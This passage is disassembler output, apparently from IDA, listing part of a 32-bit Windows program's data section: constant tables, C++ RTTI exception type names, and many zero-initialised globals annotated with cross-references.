		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43D5D8	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_425DDA+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_43D734	dd offset off_427D68	; DATA XREF: ___:00427F44o
					; ___:00428030o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_43D74C	dd offset off_427D68	; DATA XREF: ___:off_427DF8o
					; ___:00427E38o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_43D76C	dd offset off_427D68	; DATA XREF: ___:off_427E40o
					; ___:00427E84o ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_43D78C	dd offset off_427D68	; DATA XREF: ___:off_427E8Co
					; ___:00427ED0o ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_43D7B0	dd offset off_427D68	; DATA XREF: ___:off_427ED8o
					; ___:00427F14o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_42470C
		align 10h
dword_43D7D0	dd 2 dup(0)		; DATA XREF: sub_40111D+C8o
dword_43D7D8	dd 2 dup(0)		; DATA XREF: sub_40111D+62o
					; ___:0040146Eo ...
dword_43D7E0	dd 0			; DATA XREF: ___:004015B0o
					; sub_401ACD+B07o ...
		dd 5 dup(0)
dword_43D7F8	dd 0			; DATA XREF: sub_401ACD+B63r
					; sub_4150B4+60r
		dd 2D9h	dup(0)
dword_43E360	dd 0			; DATA XREF: sub_401ACD+5E62r
					; sub_401ACD+5F3Fr ...
		dd 7Fh dup(0)
dword_43E560	dd 0			; DATA XREF: sub_40B0F6+41w
					; sub_40B231+40w ...
dword_43E564	dd 0			; DATA XREF: sub_40B0F6+47w
					; sub_40B231+46w ...
dword_43E568	dd 0			; DATA XREF: sub_40B0F6+52w
					; sub_40B231+3Ar ...
dword_43E56C	dd 0			; DATA XREF: sub_40111D+Cr
					; sub_4017ED+B9w ...
dword_43E570	dd 0			; DATA XREF: sub_40B231+75r
					; sub_40B412+2Aw ...
dword_43E574	dd 0			; DATA XREF: ___:004015FFw
					; ___:00401677w ...
byte_43E578	db 0			; DATA XREF: sub_4017ED+91o
					; sub_401ACD+5DA7r ...
		align 4
		dd 1C75h dup(0)
dword_445750	dd 2A3Fh dup(0)		; DATA XREF: ___:00433E1Co
		db 0
byte_45004D	db 3 dup(0)		; DATA XREF: ___:00438108o
dword_450050	dd 1CFCh dup(0)
		db 0
byte_457441	db 3 dup(0)		; DATA XREF: ___:off_438B74o
dword_457444	dd 17780h dup(0)
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: ___:off_4389E0o
		dd 5846h dup(0)
dword_4CB360	dd 0			; DATA XREF: sub_40111D+FDw
					; sub_40B0F6+13o ...
dword_4CB364	dd 0			; DATA XREF: ___:0040125Ew
					; sub_401ACD:loc_4044D7r ...
dword_4CB368	dd 0			; DATA XREF: ___:loc_4016FFo
dword_4CB36C	dd 20h dup(0)		; DATA XREF: ___:004016B6o
					; ___:00401750o ...
dword_4CB3EC	dd 10h dup(0)		; DATA XREF: ___:004016CCo
dword_4CB42C	dd 24h dup(0)		; DATA XREF: ___:004016E3o
dword_4CB4BC	dd 0			; DATA XREF: ___:004016D7w
					; ___:00401767w ...
dword_4CB4C0	dd 0			; DATA XREF: ___:004016F6w
		align 10h
byte_4CB4D0	db 0			; DATA XREF: sub_401955+28r
					; sub_401955+30o
		align 4
dword_4CB4D4	dd 0			; DATA XREF: ___:00401704w
					; ___:0040171Br ...
dword_4CB4D8	dd 0			; DATA XREF: ___:004016BBw
					; sub_401ACD+8BEr
dword_4CB4DC	dd 0			; DATA XREF: sub_401ACD+7DBFo
					; sub_40C9A4+13o ...
dword_4CB4E0	dd 0			; DATA XREF: sub_409B12+4A7w
					; sub_409B12+4EBr ...
dword_4CB4E4	dd 0			; DATA XREF: sub_409B12+65w
					; sub_4196BC+166r
dword_4CB4E8	dd 0			; DATA XREF: sub_409B12+80Bw
					; sub_409B12+880r ...
dword_4CB4EC	dd 0			; DATA XREF: sub_409B12+9D8w
					; sub_409B12+A43r ...
dword_4CB4F0	dd 0			; DATA XREF: sub_409B12+98Aw
					; sub_409B12+A13r ...
dword_4CB4F4	dd 0			; DATA XREF: sub_409B12+48Dw
					; sub_409B12+4DBr ...
dword_4CB4F8	dd 0			; DATA XREF: sub_409B12+213w
					; sub_409B12+234r
dword_4CB4FC	dd 0			; DATA XREF: sub_409B12+9CBw
					; sub_409B12+A3Br ...
dword_4CB500	dd 0			; DATA XREF: sub_409B12+372w
					; sub_409B12+3C7r ...
dword_4CB504	dd 0			; DATA XREF: sub_409B12+40Fw
					; sub_41AA42+11Er
dword_4CB508	dd 0			; DATA XREF: sub_409B12+37Fw
					; sub_409B12+3CFr ...
dword_4CB50C	dd 0			; DATA XREF: sub_409B12+3C0w
					; sub_418C8E+ADr
dword_4CB510	dd 0			; DATA XREF: sub_409B12+55Aw
					; sub_40F0D5+115r ...
dword_4CB514	dd 0			; DATA XREF: sub_409B12+72w
					; sub_409B12+D2r ...
dword_4CB518	dd 0			; DATA XREF: sub_409B12+97Dw
					; sub_409B12+A06r ...
dword_4CB51C	dd 0			; DATA XREF: sub_409B12+3A6w
					; sub_409B12+3E7r ...
dword_4CB520	dd 0			; DATA XREF: sub_409B12+859w
					; sub_409B12+8ACr ...
dword_4CB524	dd 0			; DATA XREF: sub_409B12+2A5w
					; sub_409B12+2F0r ...
dword_4CB528	dd 0			; DATA XREF: sub_409B12+84Cw
					; sub_409B12+8A4r ...
dword_4CB52C	dd 0			; DATA XREF: sub_409B12+B3w
dword_4CB530	dd 0			; DATA XREF: sub_409B12+866w
					; sub_409B12+8B4r ...
dword_4CB534	dd 0			; DATA XREF: sub_409B12+54Dw
					; sub_409B12+6D0r ...
dword_4CB538	dd 0			; DATA XREF: sub_409B12+58w
					; sub_409B12+CAr ...
dword_4CB53C	dd 0			; DATA XREF: sub_409B12+934w
dword_4CB540	dd 0			; DATA XREF: sub_401ACD:loc_403F25r
					; sub_409B12+A95w ...
dword_4CB544	dd 0			; DATA XREF: sub_409B12+A6w
					; sub_409B12+F2r
dword_4CB548	dd 0			; DATA XREF: sub_409B12+480w
					; sub_409B12+4D3r ...
dword_4CB54C	dd 0			; DATA XREF: sub_409B12+5F6w
					; sub_40BFA3+20r
dword_4CB550	dd 0			; DATA XREF: sub_409B12+9BEw
					; sub_409B12+A33r
dword_4CB554	dd 0			; DATA XREF: sub_409B12+5E9w
					; sub_409B12+754r ...
dword_4CB558	dd 0			; DATA XREF: sub_409B12+A0Cw
dword_4CB55C	dd 0			; DATA XREF: sub_409B12+B50w
dword_4CB560	dd 0			; DATA XREF: sub_409B12+7FEw
					; sub_409B12+86Dr ...
dword_4CB564	dd 0			; DATA XREF: sub_409B12+1B3w
					; sub_40B2F1+3Do ...
dword_4CB568	dd 0			; DATA XREF: sub_409B12+997w
					; sub_409B12+A1Br ...
dword_4CB56C	dd 0			; DATA XREF: sub_409B12+38Cw
					; sub_409B12+3D7r ...
dword_4CB570	dd 0			; DATA XREF: sub_409B12+399w
					; sub_409B12+3DFr ...
dword_4CB574	dd 0			; DATA XREF: sub_409B12+C85w
					; sub_409B12+C8Cr ...
dword_4CB578	dd 0			; DATA XREF: sub_409B12+6ACw
					; ___:0041088Fr
dword_4CB57C	dd 0			; DATA XREF: sub_40111D+1Dr
					; sub_40111D+23r ...
dword_4CB580	dd 0			; DATA XREF: sub_409B12+4B4w
					; sub_4153BC+207r
dword_4CB584	dd 0			; DATA XREF: sub_409B12+9E5w
					; sub_409B12+A4Br ...
dword_4CB588	dd 0			; DATA XREF: sub_401000+51r
					; sub_409B12+2B2w ...
dword_4CB58C	dd 0			; DATA XREF: sub_409B12+7Fw
					; sub_409B12+DAr ...
dword_4CB590	dd 0			; DATA XREF: sub_401ACD+5911r
					; sub_401ACD+79CEr ...
dword_4CB594	dd 0			; DATA XREF: ___:004012ADr
					; sub_401ACD+5117r ...
dword_4CB598	dd 0			; DATA XREF: sub_409B12+825w
					; sub_409B12+890r ...
dword_4CB59C	dd 0			; DATA XREF: sub_409B12+9A4w
					; sub_409B12+A23r
dword_4CB5A0	dd 0			; DATA XREF: sub_409B12+C0Ew
					; sub_409B12+C3Fr
dword_4CB5A4	dd 0			; DATA XREF: sub_409B12+2CCw
					; sub_4184E1+47r
dword_4CB5A8	dd 0			; DATA XREF: sub_409B12+22Dw
dword_4CB5AC	dd 0			; DATA XREF: sub_409B12+91Aw
					; sub_409B12+92Er
dword_4CB5B0	dd 0			; DATA XREF: sub_409B12+C28w
dword_4CB5B4	dd 0			; DATA XREF: sub_409B12+2D9w
					; sub_4184E1+4Fr
dword_4CB5B8	dd 0			; DATA XREF: sub_409B12+574w
					; sub_409B12+6E8r ...
dword_4CB5BC	dd 0			; DATA XREF: sub_409B12+83Fw
					; sub_409B12+873r
dword_4CB5C0	dd 0			; DATA XREF: sub_409B12+220w
					; sub_409B12+23Cr
dword_4CB5C4	dd 0			; DATA XREF: sub_409B12+172w
					; sub_409B12+1C2r ...
dword_4CB5C8	dd 0			; DATA XREF: sub_401ACD+1E30r
					; sub_401ACD+5AC7r ...
dword_4CB5CC	dd 0			; DATA XREF: sub_4017ED+C4r
					; sub_401ACD+51A1r ...
dword_4CB5D0	dd 0			; DATA XREF: sub_409B12+567w
					; sub_409B12+6DCr ...
dword_4CB5D4	dd 0			; DATA XREF: sub_409B12+8DBw
					; sub_409B12:loc_40A40Bw ...
dword_4CB5D8	dd 0			; DATA XREF: sub_401000+26r
					; sub_409B12+28Bw ...
dword_4CB5DC	dd 0			; DATA XREF: sub_401ACD+7959r
					; sub_409B12+69Fw ...
dword_4CB5E0	dd 0			; DATA XREF: sub_409B12+32Dw
					; sub_409B12+341r ...
dword_4CB5E4	dd 0			; DATA XREF: sub_409B12+3B3w
					; sub_409B12+3EFr ...
dword_4CB5E8	dd 0			; DATA XREF: sub_409B12+C01w
					; sub_409B12+C37r
dword_4CB5EC	dd 0			; DATA XREF: sub_409B12+818w
					; sub_409B12+888r ...
dword_4CB5F0	dd 0			; DATA XREF: sub_409B12+206w
					; sub_409B12+227r
dword_4CB5F4	dd 0			; DATA XREF: sub_409B12+18Cw
					; sub_409B12+1D2r ...
dword_4CB5F8	dd 0			; DATA XREF: sub_409B12+832w
					; sub_409B12+898r ...
dword_4CB5FC	dd 0			; DATA XREF: sub_409B12+624w
					; sub_409B12+774r
dword_4CB600	dd 0			; DATA XREF: sub_401000+5Ar
					; sub_409B12+2BFw ...
dword_4CB604	dd 0			; DATA XREF: sub_409B12+66Bw
					; sub_409B12+79Cr ...
dword_4CB608	dd 0			; DATA XREF: sub_409B12+320w
					; sub_409B12+334r ...
dword_4CB60C	dd 0			; DATA XREF: sub_409B12+644w
					; sub_409B12+784r ...
dword_4CB610	dd 0			; DATA XREF: sub_409B12+44Cw
					; sub_409B12+4AEr ...
dword_4CB614	dd 0			; DATA XREF: sub_409B12+199w
					; sub_409B12+1DAr ...
dword_4CB618	dd 0			; DATA XREF: sub_409B12+365w
					; sub_409B12+3BAr ...
dword_4CB61C	dd 0			; DATA XREF: sub_409B12+AA2w
dword_4CB620	dd 0			; DATA XREF: sub_409B12+5DCw
					; sub_409B12+748r ...
dword_4CB624	dd 0			; DATA XREF: sub_4017ED+3Er
					; sub_401ACD+5153r ...
dword_4CB628	dd 0			; DATA XREF: sub_409B12+4Bw
					; sub_409B12+C2r ...
dword_4CB62C	dd 0			; DATA XREF: sub_409B12+473w
					; sub_409B12+4CBr ...
dword_4CB630	dd 0			; DATA XREF: sub_409B12+165w
					; sub_409B12+1BAr ...
dword_4CB634	dd 0			; DATA XREF: sub_409B12+9FFw
					; sub_409B12+A5Br ...
dword_4CB638	dd 0			; DATA XREF: sub_409B12+685w
					; sub_409B12+7ACr ...
dword_4CB63C	dd 0			; DATA XREF: sub_401955+D1r
					; sub_401ACD+51B6r ...
dword_4CB640	dd 0			; DATA XREF: sub_409B12+C1Bw
					; sub_409B12+C47r
dword_4CB644	dd 0			; DATA XREF: sub_409B12+3Ew
					; sub_409B12+BAr ...
dword_4CB648	dd 0			; DATA XREF: sub_401000+45r
					; sub_409B12+298w ...
dword_4CB64C	dd 0			; DATA XREF: sub_409B12+651w
					; sub_409B12+78Cr ...
dword_4CB650	dd 0			; DATA XREF: sub_409B12+637w
					; sub_409B12+77Cr ...
dword_4CB654	dd 0			; DATA XREF: sub_401ACD+73B9r
					; sub_409B12+C92w
dword_4CB658	dd 0			; DATA XREF: sub_409B12+879w
					; ___:004168D5r ...
dword_4CB65C	dd 0			; DATA XREF: sub_409B12+112w
dword_4CB660	dd 0			; DATA XREF: sub_409B12+BE7w
					; sub_409B12+C22r
dword_4CB664	dd 0			; DATA XREF: sub_401ACD+2FE4r
					; sub_401ACD+5F98r ...
dword_4CB668	dd 0			; DATA XREF: sub_409B12+459w
					; sub_409B12+4BBr ...
dword_4CB66C	dd 0			; DATA XREF: sub_409B12+49Aw
					; sub_409B12+4E3r ...
dword_4CB670	dd 0			; DATA XREF: sub_409B12+466w
					; sub_409B12+4C3r ...
dword_4CB674	dd 0			; DATA XREF: sub_401955+89r
					; sub_401ACD+51D3r ...
dword_4CB678	dd 0			; DATA XREF: sub_409B12+1A6w
					; sub_409B12+1E2r ...
dword_4CB67C	dd 0			; DATA XREF: sub_409B12+9F2w
					; sub_409B12+A53r ...
dword_4CB680	dd 0			; DATA XREF: sub_409B12+158w
					; sub_409B12+1ADr ...
dword_4CB684	dd 0			; DATA XREF: sub_409B12+8Cw
					; sub_409B12+E2r ...
dword_4CB688	dd 0			; DATA XREF: sub_409B12+610w
					; sub_409B12+764r ...
dword_4CB68C	dd 0			; DATA XREF: sub_409B12+B43w
					; sub_409B12+B5Fr
dword_4CB690	dd 0			; DATA XREF: sub_409B12+33Aw
					; sub_419651+55r
dword_4CB694	dd 0			; DATA XREF: sub_409B12+27Ew
					; sub_409B12+2D3r ...
dword_4CB698	dd 0			; DATA XREF: sub_409B12+BAAw
dword_4CB69C	dd 0			; DATA XREF: sub_409B12+AECw
					; sub_40AB31+CEr
dword_4CB6A0	dd 0			; DATA XREF: sub_409B12+ADFw
					; sub_409B12+AE6r ...
dword_4CB6A4	dd 0			; DATA XREF: sub_4017ED+A6r
					; sub_401ACD+5132r ...
dword_4CB6A8	dd 0			; DATA XREF: sub_401ACD+5124r
					; sub_401ACD+7980r ...
dword_4CB6AC	dd 0			; DATA XREF: sub_409B12+BF4w
					; sub_409B12+C2Fr
dword_4CB6B0	dd 0			; DATA XREF: sub_401ACD+1E56r
					; sub_401ACD+5AEDr ...
dword_4CB6B4	dd 0			; DATA XREF: sub_409B12+9B1w
					; sub_409B12+A2Br ...
dword_4CB6B8	dd 0			; DATA XREF: sub_409B12+65Ew
					; sub_409B12+794r ...
dword_4CB6BC	dd 0			; DATA XREF: sub_40111D+12r
					; sub_4017ED+D0r ...
dword_4CB6C0	dd 0			; DATA XREF: sub_409B12+59Bw
					; sub_409B12+70Cr ...
dword_4CB6C4	dd 0			; DATA XREF: sub_409B12+B36w
					; sub_409B12+B57r
dword_4CB6C8	dd 0			; DATA XREF: sub_409B12+540w
					; sub_409B12+6C4r ...
dword_4CB6CC	dd 0			; DATA XREF: sub_409B12+B29w
					; sub_409B12+B4Ar
dword_4CB6D0	dd 0			; DATA XREF: ___:00401273r
					; sub_409B12+31w ...
dword_4CB6D4	dd 0			; DATA XREF: sub_409B12+17Fw
					; sub_409B12+1CAr ...
		dd 0
dword_4CB6DC	dd 0			; DATA XREF: sub_409B12+927w
					; sub_409B12+93Br
dword_4CB6E0	dd 0			; DATA XREF: sub_409B12+99w
					; sub_409B12+EAr ...
dword_4CB6E4	dd 0			; DATA XREF: sub_409B12:loc_409C10w
					; sub_409B12+12Bw ...
dword_4CB6E8	dd 0			; DATA XREF: sub_409B12+126w
					; sub_40A7CE+1Cr
dword_4CB6EC	dd 0			; DATA XREF: sub_409B12:loc_409D00w
					; sub_409B12:loc_409D67w ...
dword_4CB6F0	dd 0			; DATA XREF: sub_409B12+250w
					; sub_40A7CE+50r
dword_4CB6F4	dd 0			; DATA XREF: ___:0040156Ar
					; sub_401ACD+4567r ...
dword_4CB6F8	dd 0			; DATA XREF: sub_409B12+41Ew
					; sub_40A7CE+84r
dword_4CB6FC	dd 0			; DATA XREF: sub_409B12:loc_40A016w
					; sub_40A7CE:loc_40A87Er
dword_4CB700	dd 0			; DATA XREF: sub_409B12+4FFw
					; sub_40A7CE+B8r
dword_4CB704	dd 0			; DATA XREF: sub_409B12:loc_40A2E7w
					; sub_40A7CE:loc_40A8B2r
dword_4CB708	dd 0			; DATA XREF: sub_409B12+7D0w
					; sub_40A7CE+ECr
dword_4CB70C	dd 0			; DATA XREF: sub_409B12:loc_40A3D2w
					; sub_409B12+8EFw ...
dword_4CB710	dd 0			; DATA XREF: sub_409B12+8EAw
					; sub_40A7CE+120r
dword_4CB714	dd 0			; DATA XREF: sub_401ACD:loc_406F17r
					; sub_409B12:loc_40A466w ...
dword_4CB718	dd 0			; DATA XREF: sub_409B12+94Fw
					; sub_40A7CE+154r
dword_4CB71C	dd 0			; DATA XREF: sub_401ACD+456Fr
					; sub_409B12:loc_40A582w ...
dword_4CB720	dd 0			; DATA XREF: sub_409B12+A6Bw
					; sub_40A7CE+188r
dword_4CB724	dd 0			; DATA XREF: sub_409B12:loc_40A5CCw
					; sub_40A7CE:loc_40A982r
dword_4CB728	dd 0			; DATA XREF: sub_409B12+AB5w
					; sub_40A7CE+1BCr
dword_4CB72C	dd 0			; DATA XREF: sub_409B12:loc_40A616w
					; sub_40A7CE:loc_40A9B6r
dword_4CB730	dd 0			; DATA XREF: sub_409B12+AFFw
					; sub_40A7CE+1F0r
dword_4CB734	dd 0			; DATA XREF: sub_409B12:loc_40A68Aw
					; sub_40A7CE:loc_40A9EAr
dword_4CB738	dd 0			; DATA XREF: sub_409B12+B73w
					; sub_40A7CE+224r
dword_4CB73C	dd 0			; DATA XREF: sub_409B12:loc_40A6D4w
					; sub_40A7CE:loc_40AA1Er
dword_4CB740	dd 0			; DATA XREF: sub_409B12+BBDw
					; sub_40A7CE+258r
dword_4CB744	dd 0			; DATA XREF: sub_409B12:loc_40A772w
					; sub_40A7CE:loc_40AA52r
dword_4CB748	dd 0			; DATA XREF: sub_409B12+C5Bw
					; sub_40A7CE+28Cr
dword_4CB74C	dd 0			; DATA XREF: sub_409B12:loc_40A7BCw
					; sub_40A7CE:loc_40AA86r
dword_4CB750	dd 0			; DATA XREF: sub_409B12+CA5w
					; sub_40A7CE+2C0r
dword_4CB754	dd 7 dup(0)		; DATA XREF: sub_40AC0F+32o
dword_4CB770	dd 0			; DATA XREF: sub_40BA56+18r
					; sub_40BFEB+92w ...
dword_4CB774	dd 0			; DATA XREF: sub_40C124+4Dr
					; sub_40C124+2F1w ...
		dd 7FEh	dup(0)
dword_4CD770	dd 6 dup(0)		; DATA XREF: sub_40C124+D2o
					; sub_40C124+13Bo ...
dword_4CD788	dd 0			; DATA XREF: sub_40BACD+2C4w
					; sub_40BACD+348o
dword_4CD78C	dd 0			; DATA XREF: sub_40BACD+33Ew
					; sub_40BACD+35Ar
dword_4CD790	dd 0			; DATA XREF: sub_40BACD+2CFw
dword_4CD794	dd 0			; DATA XREF: sub_40BACD+2B9w
					; sub_40BACD:loc_40BDE2r
dword_4CD798	dd 20h dup(0)		; DATA XREF: sub_40BACD+2E2o
					; sub_40BACD+302o
dword_4CD818	dd 0			; DATA XREF: sub_40BACD+2D5w
dword_4CD81C	dd 0			; DATA XREF: sub_40BACD+2EFw
					; sub_40BACD+30Fw
dword_4CD820	dd 0			; DATA XREF: sub_40BACD:loc_40BE3Dr
		align 8
dword_4CD828	dd 0			; DATA XREF: sub_40BACD+82w
					; sub_40BACD+101o
dword_4CD82C	dd 41h dup(0)		; DATA XREF: sub_40BACD+41o
dword_4CD930	dd 41h dup(0)		; DATA XREF: sub_40BACD+69o
dword_4CDA34	dd 0			; DATA XREF: sub_40BACD+F7w
					; sub_40BACD+113r
dword_4CDA38	dd 0			; DATA XREF: sub_40BACD+52w
dword_4CDA3C	dd 0			; DATA XREF: sub_40BACD+4Dw
					; sub_40BACD+D4r
dword_4CDA40	dd 20h dup(0)		; DATA XREF: sub_40BACD+9Ao
					; sub_40BACD+BAo
dword_4CDAC0	dd 0			; DATA XREF: sub_40BACD+8Fw
dword_4CDAC4	dd 0			; DATA XREF: sub_40BACD+A7w
					; sub_40BACD+C7w
dword_4CDAC8	dd 0			; DATA XREF: sub_40BACD:loc_40BBF6r
		align 10h
dword_4CDAD0	dd 0			; DATA XREF: sub_40BACD+1A5w
					; sub_40BACD+225o
dword_4CDAD4	dd 41h dup(0)		; DATA XREF: sub_40BACD+167o
dword_4CDBD8	dd 41h dup(0)		; DATA XREF: sub_40BACD+18Co
dword_4CDCDC	dd 0			; DATA XREF: sub_40BACD+21Bw
					; sub_40BACD+237r
dword_4CDCE0	dd 0			; DATA XREF: sub_40BACD+17Aw
dword_4CDCE4	dd 0			; DATA XREF: sub_40BACD+175w
					; sub_40BACD+1F8r
dword_4CDCE8	dd 20h dup(0)		; DATA XREF: sub_40BACD+1BEo
					; sub_40BACD+1DEo
dword_4CDD68	dd 0			; DATA XREF: sub_40BACD+1B1w
dword_4CDD6C	dd 0			; DATA XREF: sub_40BACD+1CBw
					; sub_40BACD+1EBw
dword_4CDD70	dd 0			; DATA XREF: sub_40BACD:loc_40BD1Ar
		align 8
dword_4CDD78	dd 0			; DATA XREF: sub_40BACD+417w
					; sub_40BACD+470o
dword_4CDD7C	dd 0A2h	dup(0)		; DATA XREF: sub_40BACD+405o
dword_4CE004	dd 41h dup(0)		; DATA XREF: sub_40BACD+3CFo
dword_4CE108	dd 0			; DATA XREF: sub_40BACD+3FCw
					; sub_40BACD+423r
		align 10h
dword_4CE110	dd 0			; DATA XREF: sub_40BACD+466w
					; sub_40BACD+482r
dword_4CE114	dd 0			; DATA XREF: sub_40BACD+429w
dword_4CE118	dd 0			; DATA XREF: sub_40BACD+436w
dword_4CE11C	dd 0			; DATA XREF: sub_40BACD+3F6w
		dd 0
dword_4CE124	dd 0			; DATA XREF: sub_40BACD:loc_40BF65r
		dd 0
dword_4CE12C	dd 0			; DATA XREF: sub_40B719+Er
					; sub_40B719+32r
dword_4CE130	dd 0			; DATA XREF: sub_40B719+9r
					; sub_40B719+26r
dword_4CE134	dd 82h dup(0)		; DATA XREF: sub_40C59B+8Do
dword_4CE33C	dd 2 dup(0)		; DATA XREF: sub_40CF04+68o
dword_4CE344	dd 0			; DATA XREF: sub_40D89F+8w
					; ___:0040DC6Eo
		dd 0
dword_4CE34C	dd 2 dup(0)		; DATA XREF: ___:0040DBA4o
dword_4CE354	dd 0			; DATA XREF: ___:0040E4D7r
		dd 0
		dd 0
dword_4CE360	dd 0			; DATA XREF: ___:0040E4AAr
dword_4CE364	dd 0			; DATA XREF: ___:0040E48Cr
					; ___:0040E4F5r
		dd 0
dword_4CE36C	dd 0			; DATA XREF: sub_40BACD+2AEr
					; ___:0040E6E8w
		dd 0
dword_4CE374	dd 0			; DATA XREF: sub_40B785+1Cr
dword_4CE378	dd 0			; DATA XREF: ___:0040EFE8w
					; ___:0040F00Fr ...
		dd 3 dup(0)
dword_4CE388	dd 0			; DATA XREF: ___:00410905r
		align 10h
dword_4CE390	dd 0			; DATA XREF: sub_412351+4w
					; sub_412351+9o
		dd 109h	dup(0)
dword_4CE7B8	dd 188h	dup(0)		; DATA XREF: sub_401ACD+2F6Eo
					; sub_401ACD:loc_404AC4o
dword_4CEDD8	dd 0			; DATA XREF: sub_401ACD+1A23w
					; sub_401ACD+2F66r ...
		dd 11Ch	dup(0)
dword_4CF24C	dd 1000h dup(0)		; DATA XREF: sub_4151AC+1Do
					; sub_41524Co ...
dword_4D324C	dd 0			; DATA XREF: sub_4151AC+13o
					; sub_41524C+Eo ...
dword_4D3250	dd 0			; DATA XREF: sub_4155F7+Fr
					; sub_4157F0+12r
		align 8
dword_4D3258	dd 0Eh dup(0)		; DATA XREF: sub_416922+Fo
dword_4D3290	dd 80h dup(0)		; DATA XREF: sub_4175E9+41o
dword_4D3490	dd 200h	dup(0)		; DATA XREF: sub_416F1A+C7o
					; sub_417275+DDo ...
dword_4D3C90	dd 130h	dup(0)		; DATA XREF: sub_416F1A+D6o
					; sub_417275+F4o ...
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: ___:off_437EF0o
		dd 0CFh	dup(0)
dword_4D4490	dd 0			; DATA XREF: sub_416F1A+86w
					; sub_4170EC+94r
dword_4D4494	dd 0			; DATA XREF: sub_416F1A+A7w
					; sub_417552+55r ...
dword_4D4498	dd 0			; DATA XREF: sub_416F1A+A0w
					; sub_4170EC+D6r ...
dword_4D449C	dd 0			; DATA XREF: sub_416F1A+79w
					; sub_4170EC+35r ...
dword_4D44A0	dd 80h dup(0)		; DATA XREF: sub_417552+5Eo
dword_4D46A0	dd 0			; DATA XREF: sub_416F1A+93w
					; sub_4170EC+A2r
		align 8
dword_4D46A8	dd 0			; DATA XREF: sub_416F1A+E7o
					; sub_416F1A+103r ...
dword_4D46AC	dd 0			; DATA XREF: sub_417275+17Bw
					; sub_41741C+107w
dword_4D46B0	dd 0			; DATA XREF: sub_417275+180w
					; sub_41741C+10Dw ...
dword_4D46B4	dd 0			; DATA XREF: sub_417275+159w
					; sub_417552+4Fr
dword_4D46B8	dd 0			; DATA XREF: sub_4178BA+22w
					; sub_4178BA:loc_417A3Fw ...
dword_4D46BC	dd 0			; DATA XREF: sub_401ACD+3CC3o
					; sub_417788+12o ...
		dd 0
dword_4D46C4	dd 0			; DATA XREF: sub_4178BA+1Cr
					; sub_417A5F+3Ar
		dd 7Fh dup(0)
dword_4D48C4	dd 0			; DATA XREF: sub_4178BA+28r
					; sub_417A5F+4Aw
		dd 1944h dup(0)
dword_4DADD8	dd 0			; DATA XREF: sub_417A5F+23o
dword_4DADDC	dd 81h dup(0)		; DATA XREF: sub_401ACD+3CE1o
					; sub_417788+3Co ...
dword_4DAFE0	dd 17h dup(0)		; DATA XREF: sub_4187DD:loc_4188FAo
					; sub_4187DD+131o ...
dword_4DB03C	dd 80h dup(0)		; DATA XREF: sub_419593+7Co
					; sub_419593+A5o
dword_4DB23C	dd 0			; DATA XREF: sub_418B58+45w
					; sub_418B58+4Dr ...
dword_4DB240	dd 17h dup(0)		; DATA XREF: sub_41945F:loc_419581o
					; sub_41945F+12Do
dword_4DB29C	dd 80h dup(0)		; DATA XREF: sub_418A98+4Co
					; sub_418A98+7Eo ...
byte_4DB49C	db 0			; DATA XREF: sub_418B58+29r
					; sub_418B58+34w
		align 10h
dword_4DB4A0	dd 80h dup(0)		; DATA XREF: sub_418DAF+61o
					; sub_418DAF+89o ...
dword_4DB6A0	dd 81h dup(0)		; DATA XREF: sub_4186C1:loc_4186F9o
					; sub_4186C1+5Bo
dword_4DB8A4	dd 0			; DATA XREF: sub_419A20:loc_419A41r
					; sub_419B0F+54r ...
dword_4DB8A8	dd 0			; DATA XREF: sub_419A20r
					; sub_419B0F+37r ...
dword_4DB8AC	dd 0			; DATA XREF: sub_419A50+1Ar
					; sub_419C64+83o
dword_4DB8B0	dd 0			; DATA XREF: sub_419A20:loc_419A34r
					; sub_419C64+11Bw
dword_4DB8B4	dd 0Dh dup(0)		; DATA XREF: sub_419B0F+13o
					; sub_419C64:loc_419DA1o
dword_4DB8E8	dd 0			; DATA XREF: sub_419B0F+CDr
					; sub_419B0F+ECr ...
		align 10h
dword_4DB8F0	dd 0Eh dup(0)		; DATA XREF: sub_41A88B+47o
